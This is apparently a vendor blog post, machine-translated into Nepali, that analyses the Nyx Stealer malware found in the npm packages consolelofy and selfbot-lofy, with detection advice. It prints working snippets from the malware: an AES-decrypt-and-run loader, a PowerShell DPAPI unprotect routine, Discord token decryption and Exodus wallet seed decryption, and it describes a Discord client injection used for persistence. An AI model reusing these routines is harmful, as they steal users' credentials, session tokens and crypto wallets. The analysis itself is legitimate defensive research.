npm इन्फोस्टेलर

नयाँ npm इन्फोस्टेलर डिस्कभरी: Nyx ​​स्टीलरले डिस्कर्ड सत्रहरू अपहरण गर्दछ

TL; ड

जाइजेनी सुरक्षा अनुसन्धान टोली दुई दुर्भावनापूर्ण प्याकेजहरू मार्फत डेलिभर गरिएको परिष्कृत npm इन्फोस्टेलर अभियान पहिचान गरियो: कन्सोललोफीसेल्फबोट-लोफी.

पछिल्लो संस्करण (consolelofy@1.3.0) २१६KB AES-इन्क्रिप्टेड पेलोड इम्बेड गर्दछ जुन रनटाइममा डिक्रिप्ट हुन्छ र मार्फत कार्यान्वयन हुन्छ vm.runInNewContext()। किनभने दुर्भावनापूर्ण तर्क पूर्ण रूपमा इन्क्रिप्ट गरिएको छ, स्ट्रिङ निरीक्षणमा भर पर्ने स्थिर स्क्यानरहरूले कार्यान्वयन समय सम्म यसको व्यवहार अवलोकन गर्न सक्दैनन्।

एक पटक डिक्रिप्ट भएपछि, पेलोड, आन्तरिक रूपमा ब्रान्डेड हुन्छ Nyx चोर, लक्ष्यहरू:

  • डिस्कर्ड प्रमाणीकरण टोकनहरू
  • ५०+ ब्राउजर प्रमाणपत्र पसलहरू
  • ९०+ क्रिप्टोकरेन्सी वालेट एक्सटेन्सनहरू
  • रोब्लोक्स, इन्स्टाग्राम, स्पोटिफाई, स्टीम, टेलिग्राम, र टिकटक सत्रहरू
  • डिस्कर्ड डेस्कटप क्लाइन्टको दृढता

दुबै प्याकेजहरूमा रहेका सबै २० संस्करणहरू रिपोर्ट गरिएको थियो र दुर्भावनापूर्ण भएको पुष्टि गरिएको थियो।

यस npm इन्फोस्टीलरको प्राविधिक सिंहावलोकन

परम्परागत स्थापना-समय मालवेयर भन्दा फरक, यो अभियान एक मा निर्भर गर्दछ runtime डिक्रिप्शन मोडेल.

त्यहाँ छन्:

  • कुनै दुर्भावनापूर्ण छैन preinstall or postinstall hooks
  • कुनै स्पष्ट स्थापना-समय नेटवर्क कलहरू छैनन्
  • कुनै सादा पाठ प्रमाणपत्र कटाई तर्क छैन

मोड्युल आयात गर्दा पेलोड सक्रिय हुन्छ। सम्पूर्ण मालिसियस बडी इन्क्रिप्ट गरिएको हुन्छ र रनटाइममा मेमोरीमा मात्र भौतिक हुन्छ।

यो डिजाइनले विशेष गरी प्याकेज स्थापनाको समयमा पत्ता लगाउनबाट बचाउँछ।

यो npm इन्फोस्टेलरले वास्तवमा कसरी कार्यान्वयन गर्छ

Nyx Stealer ले के चोर्छ भनेर विश्लेषण गर्नु अघि, हामीले बुझ्नु आवश्यक छ यो कसरी कार्यान्वयन हुन्छ.

यस npm इन्फोस्टीलर भित्रको दुर्भावनापूर्ण तर्कले एकरूप ढाँचा पछ्याउँछ:

एउटा सानो लोडरले ठूलो इन्क्रिप्टेड पेलोडलाई डिक्रिप्ट गर्छ र Node.js VM सन्दर्भ भित्र गतिशील रूपमा कार्यान्वयन गर्छ।

यो डिजाइन जानाजानी गरिएको हो। आक्रमणकारीले अस्पष्टता पछाडि कार्यक्षमता लुकाएको छैन, तिनीहरू हुन् स्थिर दृश्यताबाट मालिसियस कोड पूर्ण रूपमा हटाउँदै.

उच्च-स्तरीय कार्यान्वयन मोडेल

उच्च स्तरमा, र्‍यापरले चार काम गर्छ:

  • SHA-256 प्रयोग गरेर हार्डकोड गरिएको पासफ्रेजबाट AES कुञ्जी निकाल्छ।
  • AES-256-CBC प्रयोग गरेर ठूलो हेक्स-इन्कोडेड साइफरटेक्स्ट डिक्रिप्ट गर्दछ।
  • डिक्रिप्ट गरिएको जाभास्क्रिप्ट प्रयोग गरेर कार्यान्वयन गर्दछ vm.runInNewContext()
  • शक्तिशाली रनटाइम प्राइमिटिभहरूलाई अझै पनि उजागर गर्ने स्यान्डबक्स प्रदान गर्दछ।

मुख्य प्रविधि सारांश

घटक कन्फिगरेसन / मान
अल्गोरिदम AES-256-CBC
कुञ्जी व्युत्पन्न SHA-256(पासफ्रेज)
प्रारम्भिक भेक्टर (IV) ०x०० को १६ बाइट
कार्यान्वयन vm.runInNewContext(डिक्रिप्ट गरिएको, स्यान्डबक्स)

महत्वपूर्ण रूपमा, स्यान्डबक्स निम्नबाट गुज्रन्छ:

  • require
  • process
  • Buffer
  • टाइमरहरू
  • मोड्युल निर्यात

यसको अर्थ डिक्रिप्टेड पेलोडले निम्न कुराहरूको पूर्ण क्षमता कायम राख्छ:

  • स्पोन प्रक्रियाहरू
  • फाइलहरू पढ्नुहोस् र लेख्नुहोस्
  • नेटवर्क कलहरू गर्नुहोस्
  • स्थानीय अनुप्रयोगहरू परिमार्जन गर्नुहोस्

यो प्रतिबन्धित VM होइन। यो कार्यान्वयन ट्राम्पोलिनको रूपमा प्रयोग हुने VM हो।

रनटाइम इन्क्रिप्शन ढाँचा (कोर एक्जिक्युसन मेकानिज्म)

लोडर सानो छ।
दुर्भावनापूर्ण शरीर होइन।

प्याकेज भित्र पाइने कार्यान्वयन ढाँचा तल दिइएको छ:

const crypto = require('crypto'); const vm = require('vm');  function decryptAndExecute(encryptedHex, passphrase) {     const key = crypto.createHash('sha256')                       .update(passphrase)                       .digest();      const iv = Buffer.alloc(16, 0);      const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);     let decrypted = decipher.update(encryptedHex, 'hex', 'utf8');     decrypted += decipher.final('utf8');      const sandbox = {         require,         module,         exports,         console,         process,         Buffer,         __dirname,         __filename,         setTimeout,         setInterval,         clearTimeout,         clearInterval     };      vm.runInNewContext(decrypted, sandbox); }

किन यो कुरा हो

डिक्रिप्ट गरिएको पेलोड:

  • के छैन npm प्याकेज भित्र प्लेनटेक्स्टमा अवस्थित छ
  • साधारणलाई अदृश्य छ grep वा स्थिर स्ट्रिङ स्क्यानिङ
  • रनटाइममा मेमोरीमा मात्र साकार हुन्छ
  • पूर्ण नोड रनटाइम क्षमताहरूसँग कार्यान्वयन गर्दछ

यो AES + VM कार्यान्वयन संयोजन एक को एक बलियो व्यवहारिक सूचक हो स्थिर निरीक्षणबाट बच्न प्रयास गर्दै npm इन्फोस्टेलर.

अर्को शब्दमा:

यदि तपाईंले प्याकेज स्रोत रूख स्क्यान गर्नुभयो भने, तपाईंले चोर देख्नुहुन्न।
तपाईंले एउटा डिक्रिप्टर देख्नुहुन्छ।

डिक्रिप्शन पछि के हुन्छ

एकपटक कार्यान्वयन भएपछि, Nyx Stealer ले समानान्तर डेटा सङ्कलन तरंगहरू सुरु गर्छ।

लहर १: ब्राउजर क्रेडेन्सियल एक्स्ट्र्याक्सन

मालवेयर:

  • NuGet CDN बाट पाइथन रनटाइम डाउनलोड गर्छ
  • क्रिप्टोग्राफिक पुस्तकालयहरू स्थापना गर्दछ
  • क्रोमियम-आधारित क्रेडेन्सियल स्टोरहरू निकाल्छ
  • DPAPI-सुरक्षित गोप्य कुराहरू डिक्रिप्ट गर्छ

नेटिभ बाइन्डिङहरू संकलन गर्नुको सट्टा, यसले Windows DPAPI लाई सिधै कल गर्न PowerShell को प्रयोग गर्छ।

function dpapiUnprotectWithPowerShell(dataBuf) {     const b64 = dataBuf.toString('base64');      const ps =         "Add-Type -AssemblyName System.Security;" +         "$b=[Convert]::FromBase64String('" + b64 + "');" +         "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" +         "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" +         "[Console]::Out.Write([Convert]::ToBase64String($p))";      const cmd =         `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`;      return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); }

यो दृष्टिकोण:

  • संकलन कलाकृतिहरू बेवास्ता गर्छ
  • नेटिभ विन्डोज क्रिप्टो एपीआई प्रयोग गर्दछ
  • प्रशासनिक उपकरणमा मिसिन्छ

यो OS-स्तरको क्रेडेन्सियल डिक्रिप्शन हो, स्क्र्यापिङ होइन।

वेभ २: डिस्कर्ड टोकन डिक्रिप्शन

चोर प्रोटोकल-सचेत छ। यसले डिस्कर्डको इन्क्रिप्टेड टोकन ढाँचा बुझ्छ।

function decryptToken(encryptedToken, key) {     const tokenParts = encryptedToken.split('dQw4w9WgXcQ:');     const encryptedData = Buffer.from(tokenParts[1], 'base64');      const iv = encryptedData.slice(3, 15);     const ciphertext = encryptedData.slice(15, -16);     const tag = encryptedData.slice(-16);      const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv);     decipher.setAuthTag(tag);      return decipher.update(ciphertext).toString('utf8'); }

सञ्चालन प्रवाह:

  • Discord बाट मास्टर कुञ्जी निकाल्नुहोस् Local State
  • DPAPI मार्फत मास्टर कुञ्जी डिक्रिप्ट गर्नुहोस्
  • AES-GCM टोकन ब्लबहरू डिक्रिप्ट गर्नुहोस्
  • Discord API विरुद्ध टोकनहरू प्रमाणित गर्नुहोस्
  • नाइट्रो, ब्याज, बिलिङ जानकारीले समृद्ध बनाउनुहोस्

यो सामान्य प्रमाणपत्र डम्पिङ होइन। यो प्रोटोकल-सचेत सत्र अपहरण हो।

लहर ३: क्रिप्टोकरेन्सी वालेट लक्ष्यीकरण

npm इन्फोस्टेलरले गणना गर्दछ:

  • ९०+ ब्राउजर वालेट एक्सटेन्सनहरू
  • २७ डेस्कटप वालेटहरू
  • चिसो वालेट मार्गहरू
  • एक्सोडस बीज फाइलहरू

उदाहरण बीज डिक्रिप्शन प्रयास:

function decryptSeco(content, password) {     const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512');      const decipher = crypto.createDecipheriv(         'aes-256-gcm',         key,         content.slice(0, 12)     );      decipher.setAuthTag(content.slice(-16));      return Buffer.concat([         decipher.update(content.slice(12, -16)),         decipher.final()     ]).toString('utf8'); }

यदि सफल भयो भने, वालेट सम्झौता तुरुन्तै र अपरिवर्तनीय हुन्छ।

यसले अभियानको उच्चतम-मूल्य मुद्रीकरण भेक्टरलाई प्रतिनिधित्व गर्दछ।

डिस्कर्ड डेस्कटप इन्जेक्सन मार्फत दृढता

प्रमाणहरू सङ्कलन गरेपछि, Nyx Stealer ले स्थानीय परिमार्जन गरेर दृढताको प्रयास गर्दछ त्याग ग्राहक।

लक्ष्य:

%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js

परिचालन अनुक्रम

इन्फोस्टेलरले निम्न चरणहरू गर्दछ:

  • चलिरहेको Discord प्रक्रियाहरू समाप्त गर्दछ
  • स्थापित डिस्कर्ड भेरियन्टहरू (स्थिर, क्यानरी, PTB) पत्ता लगाउँछ।
  • अधिलेखन गर्दछ discord_desktop_core/index.js
  • आक्रमणकारी-नियन्त्रित वेबहुक तर्क इन्जेक्ट गर्छ
  • Discord पुन: सुरु गर्छ

यसले भविष्यका डिस्कर्ड सत्रहरूले स्वचालित रूपमा नयाँ प्रमाणीकरण टोकनहरू चुहावट गर्ने कुरा सुनिश्चित गर्दछ।

महत्त्वपूर्ण कुरा, यो दृढता निर्धारित कार्यहरू वा रजिस्ट्री परिमार्जनहरूमा निर्भर गर्दैन। यसले अनुप्रयोग-स्तर कोड परिमार्जन, एक गोप्य दृष्टिकोणको लाभ उठाउँछ।

यदि दुर्भावनापूर्ण npm प्याकेज पछि हटाइयो भने पनि, Discord क्लाइन्ट सम्झौतामा रहन्छ।

प्राविधिक तुलना: वैध सेल्फबोट बनाम एनपीएम इन्फोस्टीलर

घटक वैध पुस्तकालय Nyx npm इन्फोस्टेलर
गुप्तिकरण कुनै पनि पूर्ण AES-इन्क्रिप्टेड पेलोड
रनटाइम VM आवश्यक छैन vm.runInNewContext निष्पादन
प्रमाण पहुँच Discord API मात्र ब्राउजर, वालेट, DPAPI
बाह्य डाउनलोडहरू होइन NuGet मार्फत पाइथन रनटाइम
दृढता होइन डिस्कर्ड क्लाइन्ट इंजेक्शन
मुद्रीकरण बोट स्वचालन प्रमाणपत्र पुनर्विक्रय

इन्क्रिप्शन तहले मात्र यो अभियानलाई सामान्य खुला स्रोत फोर्कबाट अलग गर्छ।

एउटा वैध डिस्कर्ड सेल्फबोटले आफ्नो सम्पूर्ण कोडबेस इन्क्रिप्ट गर्ने, DPAPI पहुँच गर्न पावरशेल स्पोन गर्ने, बाह्य रनटाइम डाउनलोड गर्ने, वा डेस्कटप एप्लिकेसन इन्टरनलहरू परिमार्जन गर्ने कुनै कारण हुँदैन। जब ती क्षमताहरू डिस्कर्ड अन्तरक्रियाहरू स्वचालित गर्ने दाबी गर्ने निर्भरता भित्र देखा पर्दछ, वास्तुकला बेमेललाई बेवास्ता गर्न असम्भव हुन्छ।

अनुसन्धानको दृष्टिकोणबाट, यो npm इन्फोस्टीलरले धेरै तहहरूमा ट्रेसहरू छोड्छ। यद्यपि, सबैभन्दा भरपर्दो सूचकहरू हार्डकोड गरिएका URL हरू वा विशिष्ट फाइल मार्गहरू होइनन्, किनकि ती संस्करणहरू बीच परिवर्तन हुन सक्छन्। बरु, टिकाउ संकेतहरू संरचनात्मक छन्।

प्याकेज स्तरमा, सबैभन्दा बलियो रातो झण्डा भनेको ठूलो इन्क्रिप्टेड पेलोड र रनटाइम डिक्रिप्शन र्‍यापरको संयोजन हो जुन तुरुन्तै मार्फत कार्यान्वयन हुन्छ। vm.runInNewContext()। इन्क्रिप्शन मात्र स्वाभाविक रूपमा दुर्भावनापूर्ण नभए पनि, डिस्कर्ड उपयोगिता प्याकेज भित्र गतिशील VM कार्यान्वयन पछि AES डिक्रिप्शन प्रयोग गर्नु अत्यधिक असामान्य छ।

होस्ट स्तरमा, शंकास्पद ढाँचाहरूमा अप्रत्याशित DPAPI डिक्रिप्शन गतिविधि, Node.js निर्भरता सन्दर्भबाट प्रक्रिया स्पोनिङ, र तेस्रो-पक्ष पुस्तकालयहरूद्वारा कहिल्यै परिवर्तन नगरिने स्थानीय अनुप्रयोग फाइलहरूको परिमार्जन समावेश छ। त्यस्तै गरी, नेटवर्क तहमा, विकास निर्भरताद्वारा सुरु गरिएको आउटबाउन्ड वेबहुक-शैली सञ्चारले अर्को अर्थपूर्ण विसंगतिलाई प्रतिनिधित्व गर्दछ।

अर्को शब्दमा, पत्ता लगाउने सतह सम्झौताको एकल सूचक होइन। यो एन्क्रिप्शन, रनटाइम कार्यान्वयन, प्रमाण पहुँच, र दृढता व्यवहारको सहसम्बन्ध हो जसले खतरालाई प्रकट गर्दछ।

Xygeni को साथ पत्ता लगाउने र न्यूनीकरण

npm इन्फोस्टेलर

यो npm इन्फोस्टेलरलाई निम्न द्वारा पहिचान गरिएको थियो: Xygeni को मालवेयर प्रारम्भिक चेतावनी (MEW) साधारण हस्ताक्षर मिलानको सट्टा स्तरित व्यवहारिक सहसम्बन्ध मार्फत।

ज्ञात दुर्भावनापूर्ण स्ट्रिङहरू खोज्नुको सट्टा, MEW ले पूर्ण स्रोत रूखमा संरचनात्मक विसंगतिहरूको मूल्याङ्कन गर्दछ। यस अवस्थामा, धेरै संकेतहरूको अभिसरणबाट पत्ता लगाउने काम देखा पर्‍यो: मोड्युल प्रविष्टि बिन्दुमा एम्बेडेड AES डिक्रिप्शन दिनचर्या, VM सन्दर्भ भित्र तत्काल कार्यान्वयन, र स्पष्ट क्षमता-देखि-उद्देश्य बेमेल।

महत्त्वपूर्ण कुरा के छ भने, यी कुनै पनि संकेतले दुर्भावनापूर्ण मनसाय प्रमाणित गर्दैन। यद्यपि, सँगै विश्लेषण गर्दा, तिनीहरूले रनटाइम व्यवहार लुकाउने प्रयासलाई उजागर गर्छन्। यो स्तरित दृष्टिकोणले उच्च-विश्वास आपूर्ति श्रृंखला खतराहरू पहिचान गर्दा झूटा सकारात्मकहरूलाई उल्लेखनीय रूपमा कम गर्छ।

यसबाहेक, यो केसले किन स्थापना-समय निरीक्षण मात्र अपर्याप्त छ भनेर देखाउँछ। दुर्भावनापूर्ण तर्क जीवनचक्र स्क्रिप्टहरूमा बस्दैन। यो मोड्युल लोड भएपछि मात्र सक्रिय हुन्छ र मेमोरीमा डिक्रिप्ट भएपछि मात्र देखिने हुन्छ। त्यसकारण, प्रभावकारी रक्षाको लागि इन्क्रिप्शन-सचेत विश्लेषण, व्यवहारिक ढाँचा पहिचान, र स्थापना घटनाहरूभन्दा बाहिर निरन्तर निर्भरता निगरानी आवश्यक पर्दछ।

रजिस्ट्री टेकडाउन प्रतिक्रियाशील छ। रनटाइम-सचेत विश्लेषण रोकथामकारी छ।

यो npm इन्फोस्टेलर किन महत्त्वपूर्ण छ?

Nyx Stealer ले npm-आधारित मालवेयरमा संरचनात्मक विकासको प्रतिनिधित्व गर्दछ।

ऐतिहासिक रूपमा, धेरै दुर्भावनापूर्ण प्याकेजहरू दृश्यात्मक स्थापना-समय स्क्रिप्टहरू वा स्पष्ट क्रेडेन्सियल एक्सफिल्ट्रेसन अन्त्य बिन्दुहरूमा निर्भर थिए। यसको विपरीत, यो अभियानले यसको पेलोड इन्क्रिप्ट गर्दछ, रनटाइममा कार्यान्वयनलाई स्थगित गर्दछ, वैध अपरेटिङ सिस्टम API हरूको लाभ उठाउँछ, र विश्वसनीय अनुप्रयोगहरू भित्र दृढता स्थापित गर्दछ।

फलस्वरूप, आक्रमणकारीले npm पूर्वाधार आफैंमा शोषण गर्नु पर्दैन। बरु, आक्रमण सफल हुन्छ किनभने निर्भरता स्थापनाले विश्वासलाई जनाउँछ। विकासकर्ताहरूले मान्छन् कि पुस्तकालय आयात गर्नु एक सुरक्षित सञ्चालन हो, विशेष गरी जब यसले आफूलाई लोकप्रिय उपकरणको एक प्रशंसनीय फोर्कको रूपमा प्रस्तुत गर्दछ।

पारिस्थितिक प्रणालीहरू बढ्दै जाँदा र फोर्कहरू फैलिँदै जाँदा, त्यो निहित विश्वास सीमा बढ्दो रूपमा आकर्षक आक्रमण सतह बन्छ। त्यसकारण, आधुनिक npm इन्फोस्टेलरहरू विरुद्ध रक्षा गर्न स्थिर स्ट्रिङहरू खोज्नुको सट्टा वास्तुकला ढाँचाहरू पहिचान गर्न आवश्यक छ।

अन्ततः, यो अभियानले एउटा महत्वपूर्ण पाठलाई बलियो बनाउँछ software supply chain security: सबैभन्दा खतरनाक खतराहरू ती होइनन् जुन पहिलो नजरमा दुर्भावनापूर्ण देखिन्छन्, तर ती हुन् जुन रनटाइमले तिनीहरूको वास्तविक व्यवहार प्रकट नगरेसम्म संरचनात्मक रूपमा वैध देखिन्छन्।

sca-उपकरण-सफ्टवेयर-रचना-विश्लेषण-उपकरणहरू
आफ्नो सफ्टवेयर जोखिमहरूलाई प्राथमिकता दिनुहोस्, सुधार गर्नुहोस् र सुरक्षित गर्नुहोस्
आफ्नो नि:शुल्क खाता पाउनुहोस्।
कुनै क्रेडिट कार्ड आवश्यक छैन।

आफ्नो सफ्टवेयर विकास र डेलिभरी सुरक्षित गर्नुहोस्

Xygeni उत्पादन सुइटको साथ